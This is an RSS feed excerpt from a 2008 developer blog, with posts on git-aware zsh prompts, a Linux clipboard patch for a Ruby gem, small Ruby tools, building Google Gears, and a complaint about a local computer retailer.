Una vez que tengamos estas funciones tenes que agregar la funci?n a nuestro shell PROMPT para que cada vez que estemos en algun dir que sea un repositorio de git nos agregue el branch donde estamos y el status. Para esto necesitamos agregar el llamado a nuestra funci?n:
<strong>Llamado a Funcion:</strong>
<code>
$(parse_git_branch)%
</code>
<strong>Antes:</strong>
<code>
PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%% ' 
</code>
<strong>Despu?s:</strong>
<code>
PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%
%{$fg_bold[yellow]%}$(parse_git_branch)%{$reset_color%}%% ' 
</code>

O si preferimos que este a la derecha solito podemos hacerlo de la siguiente manera:
<strong>Prompt Derecha:</strong>
<code>
PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%% '
RPROMPT='%{$fg_bold[yellow]%}$(parse_git_branch)%{$reset_color%}'
</code>

Bueno, espero que les sirva tanto como a mi. 
]]></description>
			<content:encoded><![CDATA[<p>Siendo que uso mucho git para todos mis projectos, Cada tanto quiero saber el status y en que branch estoy (mas aun cuando hay varios branches). Buscando en internet encontr? un par de tips como crear funciones y agregarlas al PS1 o PROMPT en bash o zsh seg?n corresponda.</p>
<p>Primero tenemos que agregar un par de funciones a nuestro .zsh o .bashrc</p>
<p><strong>Funciones:</strong><br />
<code>function parse_git_status {<br />
  [[ $(git status 2&gt; /dev/null | tail -n1) != "nothing to commit (working directory clean)" ]] &amp;&amp;<br />
  echo "*"<br />
}<br />
function parse_git_branch {<br />
  git branch --no-color 2&gt; /dev/null | sed -e '/^[^*]/d' -e "s/* \(.*\)/[\1$(parse_git_status)]/"<br />
}</code></p>
<p>Una vez que tengamos estas funciones tenes que agregar la funci?n a nuestro shell PROMPT para que cada vez que estemos en algun dir que sea un repositorio de git nos agregue el branch donde estamos y el status. Para esto necesitamos agregar el llamado a nuestra funci?n:<br />
<strong>Llamado a Funcion:</strong><br />
<code>$(parse_git_branch)%</code><br />
<strong>Antes:</strong><br />
<code>PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%% ' </code><br />
<strong>Despu?s:</strong><br />
<code>PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%<br />
%{$fg_bold[yellow]%}$(parse_git_branch)%{$reset_color%}%% ' </code></p>
<p>O si preferimos que este a la derecha solito podemos hacerlo de la siguiente manera:<br />
<strong>Prompt Derecha:</strong><br />
<code>PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%% '<br />
RPROMPT='%{$fg_bold[yellow]%}$(parse_git_branch)%{$reset_color%}'</code></p>
<p>Bueno, espero que les sirva tanto como a mi. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/12/06/zsh-git-branchs-and-status/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CLI Clipboard</title>
		<link>http://www.freedomcoder.com.ar/2008/11/18/cli-clipboard/</link>
		<comments>http://www.freedomcoder.com.ar/2008/11/18/cli-clipboard/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 02:12:55 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/11/18/cli-clipboard</guid>
		<description><![CDATA[Hace un tiempo ya que uso macosx como mi plataforma en mi desktop y laptop. Dentro de las cosas que me gustan mucho, existen un par de comandos como open, pbcopy, pbpaste que me atraen muuuchoo.&#160; Estos dos ultimos como se daran cuenta son para&#160; interactuar con el clipboard lo cual es bastante grosso cuando estas haciendo cosas y queres copiar los resultados de la terminal simplemente con &#124; a pbcopy lo copias.&#160; 

Siempre me dije, loco que mal que linux no tenga esto.&#160; Hoy haciendo uso de utility_belt me di cuenta que&#160; Giles, no habia implementado&#160; la plataforma :linux en su gem y fue eso lo que me hizo preguntar: existira o no una tool para manejar el clipboard desde la consola?, no puede ser que osx lo tenga pero linux no.&#160; 

Luego de preguntarle al Oraculo de la Matrix AKA Google, encontre un paquete que se llama xsel.&#160; 

<strong>Instalacion</strong>
<bash>
> emerge xsel  # en Gentoo
> sudo apt-get install xsel # Ubuntu o Debian
> sudo yum install xsel #centos, fedora, RHE, etc...
</bash>

<strong>Uso</strong>
<bash>
> ls &#124; xsel -i   #Copia el resultado de ls al clipboard.
> xsel           #Muestra lo que sea que este en el clipboard.
</bash>

Bueno, espero que les sirva para algo como me sirve a mi y ademas les cuento que mande un diff a Giles (autor de utility_belt) para que patchee utility_belt y habilite toda las tools que hacen uso de clipboard (ie. pastie)&#160; en linux.
<strong>CODE:</strong>

<strong>clipboard.rb</strong>
<code>
diff --git a/lib/utility_belt/clipboard.rb b/lib/utility_belt/clipboard.rb
index 67bcf7e..1525d56 100644
--- a/lib/utility_belt/clipboard.rb
+++ b/lib/utility_belt/clipboard.rb
@@ -22,7 +22,27 @@ module UtilityBelt
         IO.popen('pbcopy', 'w+') {&#124;clipboard&#124; clipboard.write(stuff)}
       end
       @@implemented = true
-  
+   
+    when :linux
+      
+      if File.exist?('/usr/bin/xsel') 
+             &#124;&#124; File.exist?('/usr/local/bin/xsel')
+             &#124;&#124; File.exist?('/usr/X11/bin/xsel')
+             
+        def self.read
+          IO.popen('xsel') {&#124;clipboard&#124; clipboard.read}
+        end
+      
+        def self.write(stuff)
+          IO.popen('xsel -i', 'w+') {&#124;clipboard&#124; clipboard.write(stuff)}
+        end
+        @@implemented = true
+      else
+        raise "You need to install package xsel\n 
+              ubuntu,debian: sudo apt-get install\n
+              Gentoo: sudo emerge xsel\n
+              fedora,centos,opensuse: yum install xsel\n"
+      end
     when :mswin
 
       begin
</code>

<strong>UPDATE:</strong> Google search linux support and pastie now opens up in default browser. :) I also decided to fork the github project to share all my changes so far. <a href="http://github.com/FreedomCoder/utility-belt">Github link</a>

<strong>google.rb</strong>
<code>
diff --git a/lib/utility_belt/google.rb b/lib/utility_belt/google.rb
index 04d419f..11d0180 100644
--- a/lib/utility_belt/google.rb
+++ b/lib/utility_belt/google.rb
@@ -19,7 +19,8 @@ module UtilityBelt
           Kernel.system("open #{url}")
         when :windows
           Kernel.system("start #{url}")
-        #when :linux
+        when :linux
+          Kernel.system("xdg-open #{url}")
         else
           puts "Sorry, don't know how to open an URL from the command line on your platform"
         end
</code>
<strong>pastie.rb</strong>
<code>
diff --git a/lib/utility_belt/pastie.rb b/lib/utility_belt/pastie.rb
index 0756f4b..99e6100 100644
--- a/lib/utility_belt/pastie.rb
+++ b/lib/utility_belt/pastie.rb
@@ -20,6 +20,8 @@ module UtilityBelt
         Kernel.system("open #{pastie_url}")
       when :mswin
         Kernel.system("start #{pastie_url}")
+      when :linux
+        kernel.system("xdg-open #{pastie_url}")
       end
 
       return pastie_url
</code>]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo ya que uso macosx como mi plataforma en mi desktop y laptop. Dentro de las cosas que me gustan mucho, existen un par de comandos como open, pbcopy, pbpaste que me atraen muuuchoo.&nbsp; Estos dos ultimos como se daran cuenta son para&nbsp; interactuar con el clipboard lo cual es bastante grosso cuando estas haciendo cosas y queres copiar los resultados de la terminal simplemente con | a pbcopy lo copias.&nbsp; </p>
<p>Siempre me dije, loco que mal que linux no tenga esto.&nbsp; Hoy haciendo uso de utility_belt me di cuenta que&nbsp; Giles, no habia implementado&nbsp; la plataforma :linux en su gem y fue eso lo que me hizo preguntar: existira o no una tool para manejar el clipboard desde la consola?, no puede ser que osx lo tenga pero linux no.&nbsp; </p>
<p>Luego de preguntarle al Oraculo de la Matrix AKA Google, encontre un paquete que se llama xsel.&nbsp; </p>
<p><strong>Instalacion</strong><br />
<bash><br />
> emerge xsel  # en Gentoo<br />
> sudo apt-get install xsel # Ubuntu o Debian<br />
> sudo yum install xsel #centos, fedora, RHE, etc&#8230;<br />
</bash></p>
<p><strong>Uso</strong><br />
<bash><br />
> ls | xsel -i   #Copia el resultado de ls al clipboard.<br />
> xsel           #Muestra lo que sea que este en el clipboard.<br />
</bash></p>
<p>Bueno, espero que les sirva para algo como me sirve a mi y ademas les cuento que mande un diff a Giles (autor de utility_belt) para que patchee utility_belt y habilite toda las tools que hacen uso de clipboard (ie. pastie)&nbsp; en linux.<br />
<strong>CODE:</strong></p>
<p><strong>clipboard.rb</strong><br />
<code>diff --git a/lib/utility_belt/clipboard.rb b/lib/utility_belt/clipboard.rb<br />
index 67bcf7e..1525d56 100644<br />
--- a/lib/utility_belt/clipboard.rb<br />
+++ b/lib/utility_belt/clipboard.rb<br />
@@ -22,7 +22,27 @@ module UtilityBelt<br />
         IO.popen('pbcopy', 'w+') {|clipboard| clipboard.write(stuff)}<br />
       end<br />
       @@implemented = true<br />
-<br />
+<br />
+    when :linux<br />
+<br />
+      if File.exist?('/usr/bin/xsel')<br />
+             || File.exist?('/usr/local/bin/xsel')<br />
+             || File.exist?('/usr/X11/bin/xsel')<br />
+<br />
+        def self.read<br />
+          IO.popen('xsel') {|clipboard| clipboard.read}<br />
+        end<br />
+<br />
+        def self.write(stuff)<br />
+          IO.popen('xsel -i', 'w+') {|clipboard| clipboard.write(stuff)}<br />
+        end<br />
+        @@implemented = true<br />
+      else<br />
+        raise "You need to install package xsel\n<br />
+              ubuntu,debian: sudo apt-get install\n<br />
+              Gentoo: sudo emerge xsel\n<br />
+              fedora,centos,opensuse: yum install xsel\n"<br />
+      end<br />
     when :mswin</p>
<p>       begin</code></p>
<p><strong>UPDATE:</strong> Google search linux support and pastie now opens up in default browser. <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I also decided to fork the github project to share all my changes so far. <a href="http://github.com/FreedomCoder/utility-belt">Github link</a></p>
<p><strong>google.rb</strong><br />
<code>diff --git a/lib/utility_belt/google.rb b/lib/utility_belt/google.rb<br />
index 04d419f..11d0180 100644<br />
--- a/lib/utility_belt/google.rb<br />
+++ b/lib/utility_belt/google.rb<br />
@@ -19,7 +19,8 @@ module UtilityBelt<br />
           Kernel.system("open #{url}")<br />
         when :windows<br />
           Kernel.system("start #{url}")<br />
-        #when :linux<br />
+        when :linux<br />
+          Kernel.system("xdg-open #{url}")<br />
         else<br />
           puts "Sorry, don't know how to open an URL from the command line on your platform"<br />
         end</code><br />
<strong>pastie.rb</strong><br />
<code>diff --git a/lib/utility_belt/pastie.rb b/lib/utility_belt/pastie.rb<br />
index 0756f4b..99e6100 100644<br />
--- a/lib/utility_belt/pastie.rb<br />
+++ b/lib/utility_belt/pastie.rb<br />
@@ -20,6 +20,8 @@ module UtilityBelt<br />
         Kernel.system("open #{pastie_url}")<br />
       when :mswin<br />
         Kernel.system("start #{pastie_url}")<br />
+      when :linux<br />
+        kernel.system("xdg-open #{pastie_url}")<br />
       end</p>
<p>       return pastie_url</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/11/18/cli-clipboard/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Colorize on Github</title>
		<link>http://www.freedomcoder.com.ar/2008/08/28/colorize-on-github/</link>
		<comments>http://www.freedomcoder.com.ar/2008/08/28/colorize-on-github/#comments</comments>
		<pubDate>Thu, 28 Aug 2008 22:26:22 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/08/28/colorize-on-github</guid>
		<description><![CDATA[Aqui les dejo una peque?a y <b>muy</b> simple gema, <a href="http://github.com/FreedomCoder/colorize">Colorize</a>,que nos permite colorear en la terminal de linux, osx o *nix como podemos observar en el siguiente ejemplo. 

Test.rb Code:

<code>
require "Colorize"

class Klass
  include Colors
  def initialize
    system("echo #{red("hola")} This is a #{blue("test")}")
    system("echo #{red on_white("Hola1")}")
    puts "#{red on_blue("Hola2")}"
  end
end

Klass.new

html = "<html>
<body>
<dl>
  <dt>the first term</dt>
  <dd>its definition</dd>

  <dt>the second term</dt>
  <dd>its definition</dd>

  <dt>the third term</dt>
  <dd>\"its definition\"</dd>
  <img src=\"test.html\">
</dl>
</body>
</html>"
     
c = Colorize.new( :red => /<.*html>&#124;<.*body>/, 
                  :blue => /".*"/,
                  :cyan => /src/)
puts c.paint(html)
</code>

Por ultimo, se aprecian mucho comentarios, ideas y/o preguntas sobre cosas que les gustar?a ver en Colorize, etc ... ]]></description>
			<content:encoded><![CDATA[<p>Aqui les dejo una peque?a y <b>muy</b> simple gema, <a href="http://github.com/FreedomCoder/colorize">Colorize</a>,que nos permite colorear en la terminal de linux, osx o *nix como podemos observar en el siguiente ejemplo. </p>
<p>Test.rb Code:</p>
<p><code>require "Colorize"</p>
<p>class Klass<br />
  include Colors<br />
  def initialize<br />
    system("echo #{red("hola")} This is a #{blue("test")}")<br />
    system("echo #{red on_white("Hola1")}")<br />
    puts "#{red on_blue("Hola2")}"<br />
  end<br />
end</p>
<p>Klass.new</p>
<p>html = "&lt;html&gt;<br />
&lt;body&gt;<br />
&lt;dl&gt;<br />
  &lt;dt&gt;the first term&lt;/dt&gt;<br />
  &lt;dd&gt;its definition&lt;/dd&gt;</p>
<p>  &lt;dt&gt;the second term&lt;/dt&gt;<br />
  &lt;dd&gt;its definition&lt;/dd&gt;</p>
<p>  &lt;dt&gt;the third term&lt;/dt&gt;<br />
  &lt;dd&gt;\"its definition\"&lt;/dd&gt;<br />
  &lt;img src=\"test.html\"&gt;<br />
&lt;/dl&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;"</p>
<p>c = Colorize.new( :red =&gt; /&lt;.*html&gt;|&lt;.*body&gt;/,<br />
                  :blue =&gt; /".*"/,<br />
                  :cyan =&gt; /src/)<br />
puts c.paint(html)</code></p>
<p>Por ultimo, se aprecian mucho comentarios, ideas y/o preguntas sobre cosas que les gustar?a ver en Colorize, etc &#8230; </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/08/28/colorize-on-github/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Jornadas Regionales de Software Libre</title>
		<link>http://www.freedomcoder.com.ar/2008/08/25/jornadas-regionales-de-software-libre/</link>
		<comments>http://www.freedomcoder.com.ar/2008/08/25/jornadas-regionales-de-software-libre/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 21:29:42 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/08/25/jornadas-regionales-de-software-libre</guid>
		<description><![CDATA[Las CaFeConf y JRSL son peque?os espacios de encuentro con amigos que no suelo ver durante el an~o pero que comparto dia a dia proyectos, ideas, ideales, etc.

Luego Tres (3) dias de mucho Ruby, Software Libre, amigos, cerveza, charlas, keynotes de astronautas e intercambio de ideas en los pasillos, logre --en los tiempos libres-- dar un par de charlas. 
Aca les dejo los slides de las presentaciones:

* RubyCocoa:
       http://www.freedomcoder.com.ar/files/JRSL08/ruby-cocoa.pdf
* Ruby Metraprogramming:
       http://www.freedomcoder.com.ar/files/JRSL08/ruby-meta.pdf

* Photos :
       http://www.flickr.com/photos/freedomcoder/sets/72157606962173346/]]></description>
			<content:encoded><![CDATA[<p>Las CaFeConf y JRSL son peque?os espacios de encuentro con amigos que no suelo ver durante el an~o pero que comparto dia a dia proyectos, ideas, ideales, etc.</p>
<p>Luego Tres (3) dias de mucho Ruby, Software Libre, amigos, cerveza, charlas, keynotes de astronautas e intercambio de ideas en los pasillos, logre &#8211;en los tiempos libres&#8211; dar un par de charlas.<br />
Aca les dejo los slides de las presentaciones:</p>
<p>* RubyCocoa:</p>
<p>http://www.freedomcoder.com.ar/files/JRSL08/ruby-cocoa.pdf</p>
<p>* Ruby Metraprogramming:</p>
<p>http://www.freedomcoder.com.ar/files/JRSL08/ruby-meta.pdf</p>
<p>* Photos :</p>
<p>http://www.flickr.com/photos/freedomcoder/sets/72157606962173346/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/08/25/jornadas-regionales-de-software-libre/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remover items del Menubar en Leopard</title>
		<link>http://www.freedomcoder.com.ar/2008/05/18/remover-items-del-menubar-en-leopard/</link>
		<comments>http://www.freedomcoder.com.ar/2008/05/18/remover-items-del-menubar-en-leopard/#comments</comments>
		<pubDate>Sun, 18 May 2008 04:56:57 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/05/18/remover-items-del-menubar-en-leopard</guid>
		<description><![CDATA[<div style="">Ayer al abrir la Macbook Pro me apareci?, por alg?n motivo que desconozco, un nuevo icono en el <i>menubar</i>. Quise eliminarlo de las maneras que conoc?a y no pude. A pesar de que solo era un iconito, ocupaba un lugar y me molestaba. Decidi buscar en Google una solucion y encontr? una muy practica que solo involucra una combinaci?n de teclas y un movimiento con el mouse. <br /><br />La acci?n es la siguiente:<br />Mantenemos presionada la tecla "command (?)" mientras arrastramos el icono fuera del <i>menubar</i>. <br /><br />Bueno, queria compartirlo con ustedes por si se cruzan con el mismo problema.<br /><br /><br /><br /><br /></div>]]></description>
			<content:encoded><![CDATA[<div style="">Ayer al abrir la Macbook Pro me apareci?, por alg?n motivo que desconozco, un nuevo icono en el <i>menubar</i>. Quise eliminarlo de las maneras que conoc?a y no pude. A pesar de que solo era un iconito, ocupaba un lugar y me molestaba. Decidi buscar en Google una solucion y encontr? una muy practica que solo involucra una combinaci?n de teclas y un movimiento con el mouse. </p>
<p>La acci?n es la siguiente:<br />Mantenemos presionada la tecla &#8220;command (?)&#8221; mientras arrastramos el icono fuera del <i>menubar</i>. </p>
<p>Bueno, queria compartirlo con ustedes por si se cruzan con el mismo problema.</p>
<p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/05/18/remover-items-del-menubar-en-leopard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RGTE &#8211; Ruby Email filter</title>
		<link>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 00:16:11 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter</guid>
		<description><![CDATA[According to the developer, RGTE is a small, opinionated email filter which processes and filters incoming email into Maildirs. The current version is 0.0.3. This project looks like it has a lot of potential, but it is still to young to be sure. 
If you want to try it you will need to install it with gem but providing a source:
<code>
$ [sudo] gem install --source http://rubyi.st/gems/ rgte
</code>
The developers reminds us not to forget that we need Tmail
 and we need to trail slashes, otherwise it won't work.

Try it and tell me what you think. 
Project's site : <a href="http://rubyi.st/rgte/"> http://rubyi.st/rgte/ </a>]]></description>
			<content:encoded><![CDATA[<p>According to the developer, RGTE is a small, opinionated email filter which processes and filters incoming email into Maildirs. The current version is 0.0.3. This project looks like it has a lot of potential, but it is still to young to be sure.<br />
If you want to try it you will need to install it with gem but providing a source:<br />
<code>$ [sudo] gem install --source http://rubyi.st/gems/ rgte</code><br />
The developers reminds us not to forget that we need Tmail<br />
 and we need to trail slashes, otherwise it won&#8217;t work.</p>
<p>Try it and tell me what you think.<br />
Project&#8217;s site : <a href="http://rubyi.st/rgte/"> http://rubyi.st/rgte/ </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MaximSoft vende productos usados/abiertos/refurbish ?</title>
		<link>http://www.freedomcoder.com.ar/2008/04/21/maximsoft-vende-productos-usadosabiertosrefurbish-/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/21/maximsoft-vende-productos-usadosabiertosrefurbish-/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 23:33:53 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/21/maximsoft-vende-productos-usadosabiertosrefurbish-</guid>
		<description><![CDATA[Hola , hoy queria comprarme un Apple Mighty Mouse wireless, busque un poco y vi que el mas economico ( no por mucho ) era el de MaximiSoft.com.ar. Los llame y no enviaban a domicilio. ( Resulto que tenia suerte). Bueno al salir del trabajo decidi ir a comprarlo personalmente, cuando llego le digo:

Yo: Hola, Llame pare comprar el Apple Mighty Mouse Wireless
Vendedor: Si pera que voy a traer a buscar uno.
Luego de unos minutos
Vendedor: Aca esta .
Yo: eh... pero porque no esta en una caja cerrada de Apple
Vendedor: no ahora para importarlos vienen asi.
Yo: mira vos... , lo quiero prender y no tenia pilas
Yo: No tiene pilas ?
Vendedor: No no tiene pilas ya no viene mas con pilas
Yo pensando ( mmmm ... esto esta usado , tiene la mugre que se acumula de los dedos) y claramente Apple nunca enviaria algo asi, deben ser los usados o los que vienen con las Apple iMac que no los venden y me quieren vender eso como nuevo.
Vendedor: y lo queres o no ?
Yo: No gracias no compro cosas abiertas/usadas como nuevos y menos a precio de algo nuevo. Ciao

RECOMENDACION: NO les compren nada a MaximSoft, Ademas de esto un amigo, Martin, tuvo problemas con una Macbook Pro. 
Mi solucion y no es para hacer propaganda ni nada fue ir a otra casa, Alfa Uno Macstore y lo tenian 5 dolares mas caro pero claramente como corresponde con caja sellada, con las pilas de lithium y con manuales. Lo mismo creo que es Macstation pero no tienen stock y es unos 30 USD mas caros. 

NO SE DEJEN CAGAR POR LOS LADRONES QUE PIENSAN QUE PORQUE ESTAMOS EN ARGENTINA SOMOS TODOS INDIOS Y NO SABEMOS NADA. !!! ESPERO QUE APPLE USA SE ENTERE Y LES SAQUEN LA AUTHORIZATION PARA SER RESELLERS.

Slds.
Digg it : http://digg.com/apple/MaximSoft_com_ar_vende_productos_usados_abiertos_refurbish]]></description>
			<content:encoded><![CDATA[<p>Hola , hoy queria comprarme un Apple Mighty Mouse wireless, busque un poco y vi que el mas economico ( no por mucho ) era el de MaximiSoft.com.ar. Los llame y no enviaban a domicilio. ( Resulto que tenia suerte). Bueno al salir del trabajo decidi ir a comprarlo personalmente, cuando llego le digo:</p>
<p>Yo: Hola, Llame pare comprar el Apple Mighty Mouse Wireless<br />
Vendedor: Si pera que voy a traer a buscar uno.<br />
Luego de unos minutos<br />
Vendedor: Aca esta .<br />
Yo: eh&#8230; pero porque no esta en una caja cerrada de Apple<br />
Vendedor: no ahora para importarlos vienen asi.<br />
Yo: mira vos&#8230; , lo quiero prender y no tenia pilas<br />
Yo: No tiene pilas ?<br />
Vendedor: No no tiene pilas ya no viene mas con pilas<br />
Yo pensando ( mmmm &#8230; esto esta usado , tiene la mugre que se acumula de los dedos) y claramente Apple nunca enviaria algo asi, deben ser los usados o los que vienen con las Apple iMac que no los venden y me quieren vender eso como nuevo.<br />
Vendedor: y lo queres o no ?<br />
Yo: No gracias no compro cosas abiertas/usadas como nuevos y menos a precio de algo nuevo. Ciao</p>
<p>RECOMENDACION: NO les compren nada a MaximSoft, Ademas de esto un amigo, Martin, tuvo problemas con una Macbook Pro.<br />
Mi solucion y no es para hacer propaganda ni nada fue ir a otra casa, Alfa Uno Macstore y lo tenian 5 dolares mas caro pero claramente como corresponde con caja sellada, con las pilas de lithium y con manuales. Lo mismo creo que es Macstation pero no tienen stock y es unos 30 USD mas caros. </p>
<p>NO SE DEJEN CAGAR POR LOS LADRONES QUE PIENSAN QUE PORQUE ESTAMOS EN ARGENTINA SOMOS TODOS INDIOS Y NO SABEMOS NADA. !!! ESPERO QUE APPLE USA SE ENTERE Y LES SAQUEN LA AUTHORIZATION PARA SER RESELLERS.</p>
<p>Slds.<br />
Digg it : http://digg.com/apple/MaximSoft_com_ar_vende_productos_usados_abiertos_refurbish</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/21/maximsoft-vende-productos-usadosabiertosrefurbish-/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fluid + Google Gears = awesome apps</title>
		<link>http://www.freedomcoder.com.ar/2008/04/15/fluid-google-gears-awesome-apps/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/15/fluid-google-gears-awesome-apps/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 17:21:56 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/15/fluid-google-gears-awesome-apps</guid>
		<description><![CDATA[Yesterday I found an application called Fluid that lets the users create Stand Alone Browser applications for any site. For example, GMail, Google Reader, BaseCamp, Facebook, etc .... In order to be a stand alone application we need to be able to work offline. For example, in Google reader will be great to be able to download the feeds and then be able to read them offline. But wait, this sounds familiar, Google Gear does that. Sadly according to the side it does not work on safari. Well, NOT COMPLETELY TRUE I just downloaded the code today and I was able to get it working with Fluid(webkit based app) and now I have a truly independent online/offline application to read my feeds.
Steps:
1. Check out the sources
<code>
svn checkout http://google-gears.googlecode.com/svn/trunk/ google-gears-read-only
</code>
2. Open the project in Xcode ( On the docmentation on the Google Gears Code project is out of date)
<code>
open gears/tools/osx/gears.xcodeproj
</code>
3. Build the code in Xcode
4. Drag and drop files
<code>
Gears.plugin to ~/Library/Internet Plug-Ins.
GearsEnabler.blundle ~/Library/InputManagers  ( The directory might not be created).
</code>

Digg it <a href="http://digg.com/apple/Fluid_Google_Gears_awesome_apps"> http://digg.com/apple/Fluid_Google_Gears_awesome_apps </a>]]></description>
			<content:encoded><![CDATA[<p>Yesterday I found an application called Fluid that lets the users create Stand Alone Browser applications for any site. For example, GMail, Google Reader, BaseCamp, Facebook, etc &#8230;. In order to be a stand alone application we need to be able to work offline. For example, in Google reader will be great to be able to download the feeds and then be able to read them offline. But wait, this sounds familiar, Google Gear does that. Sadly according to the side it does not work on safari. Well, NOT COMPLETELY TRUE I just downloaded the code today and I was able to get it working with Fluid(webkit based app) and now I have a truly independent online/offline application to read my feeds.<br />
Steps:<br />
1. Check out the sources<br />
<code>svn checkout http://google-gears.googlecode.com/svn/trunk/ google-gears-read-only</code><br />
2. Open the project in Xcode ( On the docmentation on the Google Gears Code project is out of date)<br />
<code>open gears/tools/osx/gears.xcodeproj</code><br />
3. Build the code in Xcode<br />
4. Drag and drop files<br />
<code>Gears.plugin to ~/Library/Internet Plug-Ins.<br />
GearsEnabler.blundle ~/Library/InputManagers  ( The directory might not be created).</code></p>
<p>Digg it <a href="http://digg.com/apple/Fluid_Google_Gears_awesome_apps"> http://digg.com/apple/Fluid_Google_Gears_awesome_apps </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/15/fluid-google-gears-awesome-apps/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>TwitterGrapher</title>
		<link>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 20:11:07 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/14/twittergrapher</guid>
		<description><![CDATA[As part of my research for my thesis and other security related implications, I decided to create a program to create a graph of different type of degrees of relationships in twitter. As of now I only being able to grasp a small amount of the total research but so far so good. So I decided to share some of the first graphs and some of my problems. 
<br />
1. The first graph worth talking about is, The friends of my friends. As shown below the graph is nice, but it does not show any interesting data, besides the fact that almost all share friends in common that I do not have in my list. 
<a href="http://www.freedomcoder.com.ar/images/FC-Degree-2.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-Degree-2-small.jpg" width="100%"></a>

2.  When I decided to move to higher degrees the application was able to retrieve the data but the library (graphviz) was unable to generate a jpg or png. In the case of a SVG I was able to create the file but, neither Linux nor Linux64 nor OSX where able to load the image.  When I tried to generate a png or jpg the gd or the application gave me a core dump. Thanks Juan, for lending me your Linux64 computation time :D.
<a href="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg" width="100%"></a>
<br />
